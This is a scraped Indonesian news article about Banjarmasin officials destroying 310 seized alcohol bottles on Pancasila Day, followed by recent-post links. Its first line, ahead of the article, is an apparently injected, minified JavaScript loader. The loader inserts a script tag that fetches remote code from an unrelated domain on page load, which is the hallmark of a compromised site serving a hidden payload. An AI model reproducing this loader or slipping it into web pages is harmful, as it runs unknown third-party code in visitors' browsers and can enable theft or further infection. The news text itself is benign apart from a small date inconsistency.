(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Momen Hari Lahir Pancasila, Minuman Beralkohol Hasil Razia Bulan Puasa Dimusnahkan


KANALKALIMANTAN.COM, BANJARMASIN – Bertepatan peringatan Hari Lahir Pancasila 1 Juni, Wali Kota Banjarmasin H Ibnu Sina beserta Forkopimda memusnahan ratusan botol minuman beralkohol, Kamis (1/5/2023) siang.

Pemusnahan dilakukan setelah apel Hari Lahir Pancasila dan pengukuhan Purna Paskibraka Kota Banjarmasin di halaman Balai Kota Banjarmasin, jalan RE Martadinata, Kota Banjarmasin.

Dikatakan Ibnu Sina, barang yang dimusnahkan pihaknya merupakan hasil penertiban non yustisi berupa minuman beralkohol.

Mengingat pada beberapa waktu lalu terutama saat bulan Ramadhan Satpol PP Kota Banjarmasin sering melakukan razia dan berhasil mengamankan ratusan minuman beralkohol.

Baca juga: 4 Kepsek dan 1 Pengawas Sekolah Dilantik, Kadisdik : Posisi Tidak Boleh Kosong

Wali Kota Banjarmasin Ibnu Sina bersama Forkopimda melakukan pemusnahan ratusan botol Minol hasil sitaan Satpol PP, Kamis (1/6/2023). Foto: ist

“Ada 310 botol dan kaleng minuman beralkohol berbagai merek yang dimusnahkan, ini hasil razia 9 tempat di Banjarmasin saat bulan Ramadhan,” kata Ibnu Sina.

Razia dilakukan sebagai penegakan Peraturan Daerah (Perda) Kota Banjarmasin Nomor 10 tahun 2017 tentang pengawasan dan pengendalian minuman beralkohol.

Dimana kedai yang terkena razia adalah yang tidak memiliki izin untuk menjual minuman beralkohol atau kedai berizin melanggar Perda minuman beralkohol.

“Sebenarnya kedai sudah berizin untuk menjual melalui Online Single Submision (OSS), tapi hanya golongan A yang kadar alkohol 5 persen,” bebernya.

Dirinya mengimbau keada seluruh kedai yang ada di Kota Banjarmasin untuk mengikuti ketentuan yang telah ditetapkan Pemko Banjarmasin.

Baca juga: Pergi Cari Rongsokan, Lelaki 57 Tahun Warga Alalak ‘Pulang’ Tak Bernyawa

Ppemko Banjarmasin melalui Satpol PP akan kembali melakukan razia dan menyita minol yang dilarang dijual karena menyalahi aturan Perda.

“Semua harus mengikuti aturan Perda maupun Undang-Undang,” pungkasnya.

Pemusnahan juga dihadiri oleh Wakil Wali Kota Banjarmasin H Arifin Noor, Kepala Satpol PP Banjarmasin, Kajari Banjarmasin, Kepala Dishub Banjarmasin, Wakil Ketua DPRD Banjarmasin, serta Forkopimda dan jajaran SKPD lainnya.  (Kanalkalimantan.com/Rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Kasus Cuci Uang Narkoba, Ayah Fredy Pratama Tak Ajukan Banding

KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More

43 menit ago

Kucing-kucingan Anak Kecil vs Satpol PP di Lampu Lalulintas Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More

2 jam ago

WTP Ke-11 untuk Pemkab Banjar, Wabup Banjar: Ini Kerja Tulus Semua Perangkat Daerah

KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More

2 jam ago

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

13 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

14 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

14 jam ago

This website uses cookies.